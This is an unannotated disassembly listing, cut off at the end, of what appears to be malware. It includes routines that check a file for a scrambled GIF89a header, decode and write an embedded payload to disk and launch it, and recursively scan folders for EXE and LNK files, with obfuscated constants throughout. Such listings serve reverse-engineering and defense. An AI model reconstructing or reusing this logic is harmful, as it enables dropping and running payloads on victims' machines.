======================================= ; Attributes: bp-based frame sub_4467C4 proc near ; CODE XREF: sub_446E8A+1CEp ; sub_446E8A+1E0p var_61EA3 = byte ptr -61EA3h var_61DA8 = dword ptr -61DA8h var_61DA4 = dword ptr -61DA4h var_61D9E = byte ptr -61D9Eh var_61D9D = byte ptr -61D9Dh var_61C9E = byte ptr -61C9Eh var_61C9D = byte ptr -61C9Dh var_61C9C = dword ptr -61C9Ch var_61C98 = byte ptr -61C98h var_30F58 = dword ptr -30F58h var_30F54 = byte ptr -30F54h var_30E50 = dword ptr -30E50h var_30E4C = dword ptr -30E4Ch var_30E48 = dword ptr -30E48h var_30E44 = dword ptr -30E44h var_30E3F = byte ptr -30E3Fh var_30E14 = byte ptr -30E14h var_30DBF = byte ptr -30DBFh var_30DBC = byte ptr -30DBCh var_30D44 = byte ptr -30D44h var_30D43 = byte ptr -30D43h var_30D42 = byte ptr -30D42h var_30D40 = byte ptr -30D40h var_30D3F = byte ptr -30D3Fh var_30D39 = byte ptr -30D39h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 61EA4h call sub_44797C push ebx push esi push edi mov ebx, [ebp+arg_4] and [ebp+var_30E50], 0 movsx eax, word_551194 sub eax, 7 push eax movsx eax, word_551214 add eax, dword_5510F8 sub eax, 7 push eax push 3 movsx eax, word_5511EC movsx edx, word_55120C add eax, edx sub eax, 3 push eax movsx eax, word_55112C sub eax, 5 push eax push 80000000h push [ebp+arg_0] call ds:dword_54FC18 mov [ebp+var_30E48], eax and [ebp+var_30F58], 0 mov eax, dword_5510C0 add eax, 0FFFFFFFEh cmp [ebp+var_30E48], eax jz loc_446E52 mov eax, dword_55116C sub eax, 9 push eax lea eax, [ebp+var_30E4C] push eax movsx eax, word_551120 mov edx, dword_5511F4 lea eax, [eax+edx+7Ch] push eax lea eax, [ebp+var_30E3F] push eax push [ebp+var_30E48] call ds:dword_448034 mov [ebp+var_30E44], eax mov eax, dword_551178 add eax, dword_55122C cmp byte ptr [ebp+eax+var_30E44+3], 46h jnz short loc_446901 mov eax, dword_55116C cmp byte ptr [ebp+eax+var_30E48+1], 49h jnz short loc_446901 movsx eax, word_551254 movsx edx, word_551094 add eax, edx cmp byte ptr [ebp+eax+var_30E4C+2], 47h jnz short loc_446901 mov eax, dword_551154 movsx edx, word_5510EC add eax, edx cmp byte ptr [ebp+eax+var_30E44+1], 38h jnz short loc_446901 movsx eax, word_551260 cmp byte ptr [ebp+eax+var_30E44], 39h jnz short loc_446901 mov eax, dword_551184 add eax, dword_551238 cmp byte ptr [ebp+eax+var_30E4C+1], 61h jz short loc_446906 loc_446901: ; CODE XREF: sub_4467C4+D4j ; sub_4467C4+E3j ... jmp loc_446E34 ; --------------------------------------------------------------------------- loc_446906: ; CODE XREF: sub_4467C4+13Bj mov eax, dword_5510B4 sub eax, 4 cmp eax, [ebp+var_30E44] jz loc_446E34 mov eax, dword_551154 add eax, 73h movsx edx, word_551254 add eax, edx cmp [ebp+eax+var_30E3F], 3Dh jnz short loc_446972 movsx eax, word_5511AC mov edx, dword_5510E0 lea eax, [eax+edx+23h] movzx eax, [ebp+eax+var_30E3F] movsx edx, word_551228 mov ecx, dword_5510BC lea edx, [edx+ecx+35h] cmp eax, edx jnz short loc_446972 mov eax, dword_551090 cmp [ebp+eax+var_30DBF], 3Dh jz short loc_446977 loc_446972: ; CODE XREF: sub_4467C4+16Fj ; sub_4467C4+19Dj jmp loc_446E34 ; --------------------------------------------------------------------------- loc_446977: ; CODE XREF: sub_4467C4+1ACj mov eax, dword_55124C sub eax, 5 cmp eax, ebx jnz short loc_4469D9 call sub_43F952 mov edx, eax mov [ebp+var_61C9E], dl movsx eax, word_5510E4 movsx edx, word_551268 lea eax, [eax+edx+80h] cmp [ebp+eax+var_30E3F], 40h jnz short loc_4469BB mov [ebp+var_30E50], 1 jmp short loc_4469D9 ; --------------------------------------------------------------------------- loc_4469BB: ; CODE XREF: sub_4467C4+1E9j mov al, [ebp+var_30DBC] mov [ebp+var_61C9D], al mov al, [ebp+var_61C9E] cmp al, [ebp+var_61C9D] jz loc_446E34 loc_4469D9: ; CODE XREF: sub_4467C4+1BDj ; sub_4467C4+1F5j mov eax, dword_5510FC sub eax, 2 push eax lea eax, [ebp+var_30E4C] push eax push 30D40h lea eax, [ebp+var_61C98] push eax push [ebp+var_30E48] call ds:dword_448034 mov [ebp+var_30E44], eax mov eax, dword_5510BC movsx edx, word_551104 add eax, edx sub eax, 5 cmp [ebp+var_30E44], eax jz loc_446E34 mov eax, [ebp+var_30E4C] mov edx, dword_5511D4 add edx, dword_551190 sub edx, 0Fh mov [ebp+eax+var_61C98], dl push 30D40h lea eax, [ebp+var_30D40] push eax lea eax, [ebp+var_61C98] push eax call sub_4427A1 add esp, 0Ch mov esi, eax mov edi, dword_551160 sub edi, 5 jmp short loc_446AB5 ; --------------------------------------------------------------------------- loc_446A68: ; CODE XREF: sub_4467C4+2F3j mov eax, dword_5510DC sub eax, 7 cmp ebx, eax jz short loc_446A87 movzx eax, [ebp+edi+var_30D40] sub eax, edi mov [ebp+edi+var_30D40], al jmp short loc_446AB4 ; --------------------------------------------------------------------------- loc_446A87: ; CODE XREF: sub_4467C4+2AEj movzx eax, [ebp+edi+var_30D40] mov [ebp+var_61DA4], eax mov eax, edi mul edi mov [ebp+var_61DA8], eax mov eax, [ebp+var_61DA4] mov edx, [ebp+var_61DA8] sub eax, edx mov [ebp+edi+var_30D40], al loc_446AB4: ; CODE XREF: sub_4467C4+2C1j inc edi loc_446AB5: ; CODE XREF: sub_4467C4+2A2j cmp edi, esi jb short loc_446A68 mov eax, dword_551230 movsx edx, word_5510F0 add eax, edx sub eax, 8 cmp ebx, eax jz short loc_446AEF mov eax, dword_551138 sub eax, 2 mov edx, esi sub edx, eax mov eax, dword_551178 add eax, dword_551264 sub eax, 6 mov [ebp+edx+var_30D40], al loc_446AEF: ; CODE XREF: sub_4467C4+308j movsx eax, word_5511BC mov edx, dword_5511D0 lea eax, [eax+edx+7Bh] movsx edx, word_551234 add edx, dword_5511F8 sub edx, 0Bh mov [ebp+eax+var_30E3F], dl push 0FFh lea eax, [ebp+var_61D9D] push eax lea eax, [ebp+var_30E14] push eax call sub_4427A1 lea eax, [ebp+var_61D9D] push eax push esi lea eax, [ebp+var_30D40] push eax call sub_44718F add esp, 18h mov [ebp+var_30E44], eax mov eax, dword_55125C add eax, dword_5511FC sub eax, 5 cmp eax, [ebp+var_30E44] jnz loc_446E34 mov [ebp+var_30F58], 1 mov eax, dword_551264 sub eax, 3 cmp ebx, eax jz loc_446CB7 movsx eax, word_551168 cmp [ebp+eax+var_30D44], 64h jnz loc_446C18 movzx eax, [ebp+var_30D3F] mov edx, dword_5511F8 add edx, 19h sub eax, edx mov [ebp+var_61D9E], al movzx eax, [ebp+var_61D9E] push eax movsx eax, word_5510CC sub eax, 5 push eax call sub_43C10A mov eax, dword_551090 add eax, dword_5511E4 sub eax, 6 mov dword_5512B8, eax movsx eax, word_551220 dec eax mov ds:dword_44B5D0, eax mov eax, dword_551248 mov edx, dword_55122C add edx, dword_551114 sub edx, 3 mov [ebp+eax+var_30D42], dl mov eax, dword_5511E8 sub eax, 6 push eax lea eax, [ebp+var_30D40] push eax call sub_443E80 add esp, 10h loc_446C18: ; CODE XREF: sub_4467C4+3CBj movsx eax, word_551094 cmp [ebp+eax+var_30D43], 67h jnz loc_446E34 movsx eax, word_551120 movsx edx, word_5511EC movsx ecx, word_55123C add edx, ecx sub edx, 6 mov [ebp+eax+var_30D39], dl lea eax, [ebp+var_30D3F] push eax call ds:dword_44901C mov [ebp+var_61DA4], eax push eax push offset dword_54EA70 call sub_443F7C movsx eax, word_551254 sub eax, 8 mov ds:dword_44B5D0, eax mov eax, dword_551164 movsx edx, word_5510AC add eax, edx sub eax, 7 mov dword_5512B8, eax mov eax, dword_551114 movsx edx, word_5510A0 add eax, edx sub eax, 8 push eax lea eax, [ebp+var_30D40] push eax call sub_443E80 add esp, 14h jmp loc_446E34 ; --------------------------------------------------------------------------- loc_446CB7: ; CODE XREF: sub_4467C4+3B6j mov eax, dword_551134 sub eax, 8 cmp eax, [ebp+var_30E50] jz loc_446D4B call ds:dword_54EB70 mov [ebp+var_61DA4], eax lea eax, [ebp+var_30F54] push eax movsx eax, word_551220 dec eax push eax movsx eax, word_5511BC add eax, dword_5511A0 sub eax, 5 push eax push 1Ch movsx eax, word_5510B0 dec eax push eax call ds:dword_48BA00 push offset word_551592 call sub_43AC94 push [ebp+var_61DA4] movsx edx, word_5511A8 add edx, 9 push edx push eax lea edx, [ebp+var_61EA3] push edx call ds:dword_50EA28 lea eax, [ebp+var_61EA3] push eax lea eax, [ebp+var_30F54] push eax call ds:dword_44802C add esp, 1Ch jmp short loc_446D7B ; --------------------------------------------------------------------------- loc_446D4B: ; CODE XREF: sub_4467C4+501j mov eax, dword_551114 add eax, 5 push eax lea eax, [ebp+var_30F54] push eax call sub_44675D push offset word_55158A call sub_43AC94 push eax lea edx, [ebp+var_30F54] push edx call ds:dword_44802C add esp, 14h loc_446D7B: ; CODE XREF: sub_4467C4+585j movsx eax, word_55112C sub eax, 5 push eax push 80h push 2 mov eax, dword_55113C sub eax, 9 push eax movsx eax, word_5510B0 movsx edx, word_5510A0 add eax, edx sub eax, 8 push eax push 40000000h lea eax, [ebp+var_30F54] push eax call ds:dword_54FC18 mov [ebp+var_61C9C], eax movsx eax, word_5511EC add eax, dword_55109C sub eax, 0Ah push eax lea eax, [ebp+var_30E4C] push eax push esi lea eax, [ebp+var_30D40] push eax push [ebp+var_61C9C] call ds:dword_55001C push [ebp+var_61C9C] call ds:dword_4CDA48 mov eax, dword_551198 add eax, dword_551108 sub eax, 5 cmp [ebp+var_30E50], eax jnz short loc_446E2F push 5 lea eax, [ebp+var_30F54] push eax call ds:dword_44B094 movzx eax, [ebp+var_61C9D] push eax call sub_43DF32 pop ecx jmp short loc_446E34 ; --------------------------------------------------------------------------- loc_446E2F: ; CODE XREF: sub_4467C4+64Aj call sub_442A78 loc_446E34: ; CODE XREF: sub_4467C4:loc_446901j ; sub_4467C4+150j ... push [ebp+var_30E48] call ds:dword_4CDA48 cmp [ebp+var_30F58], 0 jz short loc_446E52 push [ebp+arg_0] call ds:dword_44800C loc_446E52: ; CODE XREF: sub_4467C4+80j ; sub_4467C4+683j pop edi pop esi pop ebx leave retn sub_4467C4 endp ; =============== S U B R O U T I N E ======================================= sub_446E57 proc near ; CODE XREF: sub_43F4C7+278p call sub_43B004 push offset dword_551580 call sub_43AC94 push eax call sub_43F4AF mov ds:dword_50EA24, eax push offset byte_551575 call sub_43AC94 push eax call sub_43F4AF add esp, 10h mov ds:dword_50EA28, eax retn sub_446E57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446E8A proc near ; CODE XREF: sub_43ADE6+E8p ; sub_446E8A+248p ... var_268 = byte ptr -268h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = word ptr -258h var_256 = word ptr -256h var_252 = word ptr -252h var_250 = word ptr -250h var_24E = word ptr -24Eh var_248 = dword ptr -248h var_242 = byte ptr -242h var_13E = byte ptr -13Eh var_119 = byte ptr -119h var_114 = byte ptr -114h var_112 = byte ptr -112h arg_0 = dword ptr 8 arg_8 = byte ptr 10h arg_18 = byte ptr 20h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 268h push ebx push esi push edi xor ebx, ebx inc ebx push 0 call ds:dword_50EA24 push offset byte_55156D call sub_43AC94 push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50EA28 add esp, 14h lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_242] push eax call ds:dword_4CC328 mov [ebp+var_248], eax mov ecx, dword_5511E4 add ecx, 0FFFFFFFAh cmp eax, ecx jnz loc_447077 mov eax, dword_5511B8 add eax, 30D38h add eax, dword_5510E0 cmp [ebp+arg_24], eax ja short loc_446F0C mov eax, dword_551138 sub eax, 3 cmp [ebp+arg_20], eax jbe short loc_446F11 loc_446F0C: ; CODE XREF: sub_446E8A+73j jmp loc_447155 ; --------------------------------------------------------------------------- loc_446F11: ; CODE XREF: sub_446E8A+80j mov eax, dword_551190 add eax, 3F4h movsx edx, word_5511AC add eax, edx cmp [ebp+arg_24], eax jnb short loc_446F3E movsx eax, word_551220 add eax, 0A3h cmp [ebp+arg_24], eax jnz loc_447155 loc_446F3E: ; CODE XREF: sub_446E8A+9Dj lea eax, [ebp+arg_18] push eax lea eax, [ebp+arg_8] push eax call ds:dword_54FC10 mov [ebp+var_260], eax movsx eax, word_55115C add eax, dword_5511D8 sub eax, 0Ah cmp [ebp+var_260], eax jge short loc_446F77 lea edi, [ebp+var_268] lea esi, [ebp+arg_18] movsd movsd jmp short loc_446F82 ; --------------------------------------------------------------------------- loc_446F77: ; CODE XREF: sub_446E8A+DEj lea edi, [ebp+var_268] lea esi, [ebp+arg_8] movsd movsd loc_446F82: ; CODE XREF: sub_446E8A+EBj lea eax, [ebp+var_258] push eax lea eax, [ebp+var_268] push eax call ds:dword_54EB78 movzx eax, [ebp+var_24E] movzx edx, [ebp+var_258] mov ecx, dword_5510BC add ecx, 7E8FAh add ecx, dword_5511A4 imul edx, ecx add eax, edx movzx edx, [ebp+var_250] mov ecx, dword_55122C add ecx, 3Bh imul edx, ecx add eax, edx movzx edx, [ebp+var_252] mov ecx, dword_5511F4 add ecx, 598h add ecx, dword_551204 imul edx, ecx add eax, edx movzx edx, [ebp+var_256] mov ecx, dword_551138 add ecx, 0A8BCh add ecx, dword_551174 imul edx, ecx add eax, edx mov [ebp+var_25C], eax mov eax, ds:dword_448030 mov edx, [ebp+var_25C] mov ecx, eax sub ecx, edx movsx esi, word_551214 add esi, 11h cmp ecx, esi jnb loc_447155 cmp edx, eax ja loc_447155 mov eax, dword_551150 add eax, 9Bh movsx edx, word_551188 add eax, edx cmp eax, [ebp+arg_24] jz short loc_447065 push 0 push [ebp+arg_0] call sub_4467C4 add esp, 8 jmp loc_447155 ; --------------------------------------------------------------------------- loc_447065: ; CODE XREF: sub_446E8A+1C7j push 1 push [ebp+arg_0] call sub_4467C4 add esp, 8 jmp loc_447155 ; --------------------------------------------------------------------------- loc_447077: ; CODE XREF: sub_446E8A+5Aj mov eax, dword_5510FC movsx edx, word_5510E4 add eax, edx cmp [ebp+eax+var_114], 2Eh jz loc_447151 push offset dword_551564 call sub_43AC94 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50EA28 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_446E8A add esp, 158h jmp short loc_447151 ; --------------------------------------------------------------------------- loc_4470DF: ; CODE XREF: sub_446E8A+2C9j lea eax, [ebp+var_13E] push eax push [ebp+var_248] call ds:dword_449FC8 mov ebx, eax or ebx, ebx jz short loc_447155 mov eax, dword_5511E8 cmp [ebp+eax+var_119], 2Eh jz short loc_447151 push offset byte_55155B call sub_43AC94 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50EA28 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_446E8A add esp, 158h loc_447151: ; CODE XREF: sub_446E8A+203j ; sub_446E8A+253j ... or ebx, ebx jnz short loc_4470DF loc_447155: ; CODE XREF: sub_446E8A:loc_446F0Cj ; sub_446E8A+AEj ... pop edi pop esi pop ebx leave retn sub_446E8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44715A proc near ; DATA XREF: .data:0055130Co push ebp mov ebp, esp mov eax, dword_5511C0 add eax, dword_55110C sub eax, 9 cmp ds:dword_44B5B8, eax jbe short loc_44717E push offset dword_44B5B8 call ds:dword_448014 loc_44717E: ; CODE XREF: sub_44715A+17j mov eax, ds:dword_44B5B8 pop ebp retn 4 sub_44715A endp ; =============== S U B R O U T I N E ======================================= sub_447187 proc near ; DATA XREF: .data:00551310o mov eax, 80004001h retn 8 sub_447187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44718F proc near ; CODE XREF: sub_4467C4+37Ap var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_18 = dword ptr -18h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] add eax, 40h jge short loc_4471A6 add eax, 3Fh loc_4471A6: ; CODE XREF: sub_44718F+12j sar eax, 6 mov [ebp+var_4], eax push 4 push 1000h mov edi, eax shl edi, 6 push edi push 0 call ds:dword_48C31C mov [ebp+var_18], eax mov ecx, dword_551090 add ecx, 36h mov eax, ecx add eax, dword_551124 mul [ebp+var_4] mov [ebp+var_5C], eax push eax push [ebp+var_18] call ds:dword_448038 push [ebp+arg_4] push esi push [ebp+var_18] call ds:dword_4CD914 lea eax, [ebp+var_14] push eax call sub_444F66 add esp, 10h mov esi, [ebp+var_18] mov eax, dword_55114C mov ebx, eax add ebx, dword_5511D8 sub ebx, 0Dh jmp short loc_447235 ; --------------------------------------------------------------------------- loc_447213: ; CODE XREF: sub_44718F+A9j push esi lea eax, [ebp+var_14] push eax call sub_43B045 add esp, 8 movsx eax, word_5511A8 mov edx, dword_5510B4 lea eax, [eax+edx+3Ch] lea esi, [esi+eax] inc ebx loc_447235: ; CODE XREF: sub_44718F+82j cmp ebx, [ebp+var_4] jb short loc_447213 lea eax, [ebp+var_58] push eax push [ebp+arg_8] call sub_43A59E push 8000h movsx eax, word_5511AC sub eax, 6 push eax push [ebp+var_18] call ds:dword_4CD910 mov eax, dword_55109C add eax, 4 add eax, dword_55117C push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax call ds:dword_50EA40 add esp, 14h movsx edi, word_55111C movsx ebx, word_551110 add edi, ebx dec edi cmp edi, eax jz short loc_447299 xor eax, eax inc eax jmp short loc_44729B ; --------------------------------------------------------------------------- loc_447299: ; CODE XREF: sub_44718F+103j xor eax, eax loc_44729B: ; CODE XREF: sub_44718F+108j pop edi pop esi pop ebx leave retn sub_44718F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4472A0 proc near ; DATA XREF: sub_441AE5+193o push ebp mov ebp, esp loc_4472A3: ; CODE XREF: sub_4472A0+23j call sub_44030E mov eax, dword_551208 add eax, 6DDCFAh movsx edx, word_551234 add eax, edx push eax call ds:dword_50EA24 pop ecx jmp short loc_4472A3 sub_4472A0 endp ; --------------------------------------------------------------------------- pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4472C9 proc near ; CODE XREF: sub_43F2CB+A4p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, ebx shr edi, 4 mov eax, edi mov ecx, dword_551184 add ecx, 7 movsx edx, word_551240 add ecx, edx mul ecx mov [ebp+var_4], eax mov esi, ebx sub esi, eax mov ebx, dword_55117C sub ebx, 4 mov ecx, esi mov esi, ebx shl esi, cl mov ebx, [ebp+arg_0] movzx ebx, word ptr [ebx+edi*2] mov edi, ebx and edi, esi cmp edi, esi jnz short loc_44731C mov edi, dword_551108 dec edi jmp short loc_44732F ; --------------------------------------------------------------------------- loc_44731C: ; CODE XREF: sub_4472C9+48j mov eax, dword_551114 movsx edx, word_551180 mov edi, eax add edi, edx sub edi, 4 loc_44732F: ; CODE XREF: sub_4472C9+51j mov eax, edi pop edi pop esi pop ebx leave retn sub_4472C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447336 proc near ; CODE XREF: sub_43C752+333p var_318 = dword ptr -318h var_314 = byte ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_303 = byte ptr -303h var_20C = byte ptr -20Ch var_204 = dword ptr -204h var_1FE = byte ptr -1FEh var_FF = byte ptr -0FFh var_FD = byte ptr -0FDh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 318h push ebx push esi push edi mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov edi, dword_5511D4 sub edi, 9 jmp loc_447568 ; --------------------------------------------------------------------------- loc_447356: ; CODE XREF: sub_447336+23Cj push offset word_55151E call sub_43AC94 push edi push eax lea edx, [ebp+var_303] push edx call ds:dword_50EA28 movsx eax, word_5510AC add eax, 0F9h mov [ebp+var_204], eax push offset dword_55150C call sub_43AC94 lea edx, [ebp+var_314] push edx lea edx, [ebp+var_204] push edx lea edx, [ebp+var_FF] push edx push eax lea edx, [ebp+var_303] push edx push 80000001h call sub_440281 add esp, 2Ch mov [ebp+var_310], eax test eax, eax jz loc_447567 lea eax, [ebp+var_1FE] push eax lea eax, [ebp+var_FD] push eax call sub_44582B mov eax, dword_5510D0 add eax, dword_5511F4 sub eax, 8 push eax lea eax, [ebp+var_1FE] push eax push ebx call sub_442127 add esp, 14h mov edx, dword_5510DC add edx, 0FFF5h movsx ecx, word_551094 add edx, ecx cmp edx, eax jz loc_447567 push offset word_5514AE call sub_43AC94 pop ecx push eax lea edx, [ebp+var_FF] push edx call sub_44799C mov eax, dword_551264 sub eax, 3 mov [ebp+var_308], eax jmp short loc_447466 ; --------------------------------------------------------------------------- loc_44743A: ; CODE XREF: sub_447336+13Aj mov eax, [ebp+var_308] cmp [ebp+eax+var_FF], 23h jnz short loc_447460 mov eax, [ebp+var_308] mov edx, dword_5510DC sub edx, 7 mov [ebp+eax+var_FF], dl loc_447460: ; CODE XREF: sub_447336+112j inc [ebp+var_308] loc_447466: ; CODE XREF: sub_447336+102j cmp [ebp+var_308], 0FFh jb short loc_44743A mov eax, dword_55110C sub eax, 9 mov [ebp+var_30C], eax loc_447480: ; CODE XREF: sub_447336+22Bj mov eax, dword_5511E8 add eax, 0F9h mov [ebp+var_204], eax lea eax, [ebp+var_314] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_1FE] push eax mov eax, [ebp+var_30C] lea eax, [ebp+eax+var_FF] push eax lea eax, [ebp+var_303] push eax push 80000001h call sub_440281 add esp, 18h mov [ebp+var_310], eax test eax, eax jnz short loc_4474E9 mov eax, dword_5511E4 add eax, dword_55113C mov edx, dword_5511FC mov [ebp+eax+var_20C], dl loc_4474E9: ; CODE XREF: sub_447336+199j mov eax, [ebp+var_30C] mov [ebp+var_318], eax lea ecx, [ebp+eax+var_FF] or eax, 0FFFFFFFFh loc_4474FF: ; CODE XREF: sub_447336+1CEj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4474FF mov ecx, [ebp+var_318] add ecx, eax mov [ebp+var_30C], ecx lea eax, [ebp+var_1FE] push eax push esi call ds:dword_44802C add esp, 8 push offset byte_5514A9 call sub_43AC94 add esp, 4 push eax push esi call ds:dword_44802C add esp, 8 inc [ebp+var_30C] mov eax, dword_5510D4 add eax, dword_551264 sub eax, 0Ah mov edx, [ebp+var_30C] movzx edx, [ebp+edx+var_FF] cmp eax, edx jnz loc_447480 loc_447567: ; CODE XREF: sub_447336+87j ; sub_447336+D6j inc edi loc_447568: ; CODE XREF: sub_447336+1Bj mov eax, dword_551218 add eax, 1Dh cmp edi, eax jb loc_447356 pop edi pop esi pop ebx leave retn sub_447336 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44757D proc near ; CODE XREF: sub_43FC04+74p ; sub_442C83+3Ep ... var_259 = byte ptr -259h var_258 = byte ptr -258h var_257 = byte ptr -257h var_256 = byte ptr -256h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_242 = byte ptr -242h var_13E = byte ptr -13Eh var_11A = byte ptr -11Ah var_112 = byte ptr -112h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi mov ebx, [ebp+arg_0] cmp [ebp+arg_8], 0 jz short loc_4475A5 mov eax, dword_551244 sub eax, 7 mov [ebp+var_248], eax jmp loc_44762A ; --------------------------------------------------------------------------- loc_4475A5: ; CODE XREF: sub_44757D+13j mov edx, [ebp+arg_4] mov ecx, dword_5510C4 add ecx, dword_551108 sub ecx, 0Bh cmp ds:dword_44B5E0[edx*4], ecx jnz short loc_4475D4 push esi call ds:dword_44B5BC mov eax, dword_5511A0 inc eax push eax call ds:dword_54EA60 loc_4475D4: ; CODE XREF: sub_44757D+41j movsx eax, word_5511C4 add eax, 5Dh mov [ebp+var_248], eax push offset byte_5514A1 call sub_43AC94 push [ebp+arg_4] push eax lea edx, [ebp+var_256] push edx call ds:dword_50EA28 add esp, 10h lea eax, [ebp+var_256] push eax call ds:dword_54EA64 cmp eax, 3 jnz short loc_44762A mov eax, dword_551138 add eax, 128h add eax, dword_5511B4 mov [ebp+var_248], eax loc_44762A: ; CODE XREF: sub_44757D+23j ; sub_44757D+95j xor edi, edi inc edi push offset word_55149A call sub_43AC94 push ebx push eax lea edx, [ebp+var_242] push edx call ds:dword_50EA28 add esp, 10h mov ecx, ebx or eax, 0FFFFFFFFh loc_44764E: ; CODE XREF: sub_44757D+D6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_44764E mov [ebp+var_24C], eax mov edx, dword_55121C add edx, dword_551184 sub edx, 3 sub eax, edx cmp byte ptr [ebx+eax], 2Eh jnz loc_44771F mov eax, [ebp+var_24C] sub eax, 4 movsx eax, byte ptr [ebx+eax] push eax call ds:dword_44803C add esp, 4 mov edx, eax mov [ebp+var_257], dl mov eax, [ebp+var_24C] sub eax, 2 movsx eax, byte ptr [ebx+eax] push eax call ds:dword_44803C add esp, 4 mov edx, eax mov [ebp+var_258], dl mov eax, [ebp+var_24C] sub eax, 3 movsx eax, byte ptr [ebx+eax] push eax call ds:dword_44803C add esp, 4 mov edx, eax mov [ebp+var_259], dl cmp [ebp+var_257], 45h jnz short loc_4476FD cmp [ebp+var_258], 45h jnz short loc_4476FD cmp [ebp+var_259], 58h jnz short loc_4476FD push [ebp+var_248] push ebx call sub_43C506 add esp, 8 loc_4476FD: ; CODE XREF: sub_44757D+15Dj ; sub_44757D+166j ... cmp [ebp+var_258], 4Bh jnz short loc_44771F cmp [ebp+var_259], 4Eh jnz short loc_44771F cmp [ebp+var_257], 4Ch jnz short loc_44771F push ebx call sub_43B946 pop ecx loc_44771F: ; CODE XREF: sub_44757D+F3j ; sub_44757D+187j ... lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_242] push eax call ds:dword_4CC328 mov esi, eax mov eax, dword_551124 add eax, 0FFFFFFF2h add eax, dword_551150 cmp eax, esi jz loc_44782C mov eax, dword_551154 add eax, dword_551174 cmp [ebp+eax+var_11A], 2Eh jz loc_447824 push offset byte_551491 call sub_43AC94 lea edx, [ebp+var_112] push edx push ebx push eax lea edx, [ebp+var_242] push edx call ds:dword_50EA28 push [ebp+arg_8] push [ebp+arg_4] lea eax, [ebp+var_242] push eax call sub_44757D add esp, 20h jmp loc_447824 ; --------------------------------------------------------------------------- loc_44779E: ; CODE XREF: sub_44757D+2A9j lea eax, [ebp+var_13E] push eax push esi call ds:dword_449FC8 mov edi, eax movsx eax, word_551268 add eax, dword_5511F8 sub eax, 0Ah cmp edi, eax jnz short loc_4477DE mov eax, ds:dword_50EA2C add eax, [ebp+var_248] push eax call ds:dword_50EA24 pop ecx push esi call ds:dword_44B5BC jmp short loc_44782C ; --------------------------------------------------------------------------- loc_4477DE: ; CODE XREF: sub_44757D+243j movsx eax, word_551254 cmp [ebp+eax+var_11A], 2Eh jz short loc_447824 push offset dword_551488 call sub_43AC94 lea edx, [ebp+var_112] push edx push ebx push eax lea edx, [ebp+var_242] push edx call ds:dword_50EA28 push [ebp+arg_8] push [ebp+arg_4] lea eax, [ebp+var_242] push eax call sub_44757D add esp, 20h loc_447824: ; CODE XREF: sub_44757D+1E1j ; sub_44757D+21Cj ... or edi, edi jnz loc_44779E loc_44782C: ; CODE XREF: sub_44757D+1C8j ; sub_44757D+25Fj pop edi pop esi pop ebx leave retn sub_44757D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447831 proc near ; CODE XREF: sub_43F2CB+F3p ; sub_43F2CB+151p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_0] mov eax, dword_55109C movsx edx, word_551240 mov esi, eax add esi, edx sub esi, 8 movsx eax, word_5510E4 movsx edx, word_551234 mov edi, eax add edi, edx sub edi, 4 jmp short loc_4478CA ; --------------------------------------------------------------------------- loc_447865: ; CODE XREF: sub_447831+A3j movzx edx, word ptr [ebx+edi*2] mov ecx, [ebp+arg_4] movzx ecx, word ptr [ecx+edi*2] sub edx, ecx sub edx, esi mov [ebp+var_4], edx movsx eax, word_5510CC movsx edx, word_55115C add eax, edx sub eax, 8 cmp [ebp+var_4], eax jge short loc_4478B2 mov eax, dword_551250 mov esi, eax add esi, dword_5510C8 dec esi mov eax, dword_551190 add eax, 0FFF2h add eax, dword_5510B8 add [ebp+var_4], eax jmp short loc_4478C2 ; --------------------------------------------------------------------------- loc_4478B2: ; CODE XREF: sub_447831+5Cj mov eax, dword_5511E4 mov esi, eax add esi, dword_551130 sub esi, 8 loc_4478C2: ; CODE XREF: sub_447831+7Fj mov edx, [ebp+var_4] mov [ebx+edi*2], dx inc edi loc_4478CA: ; 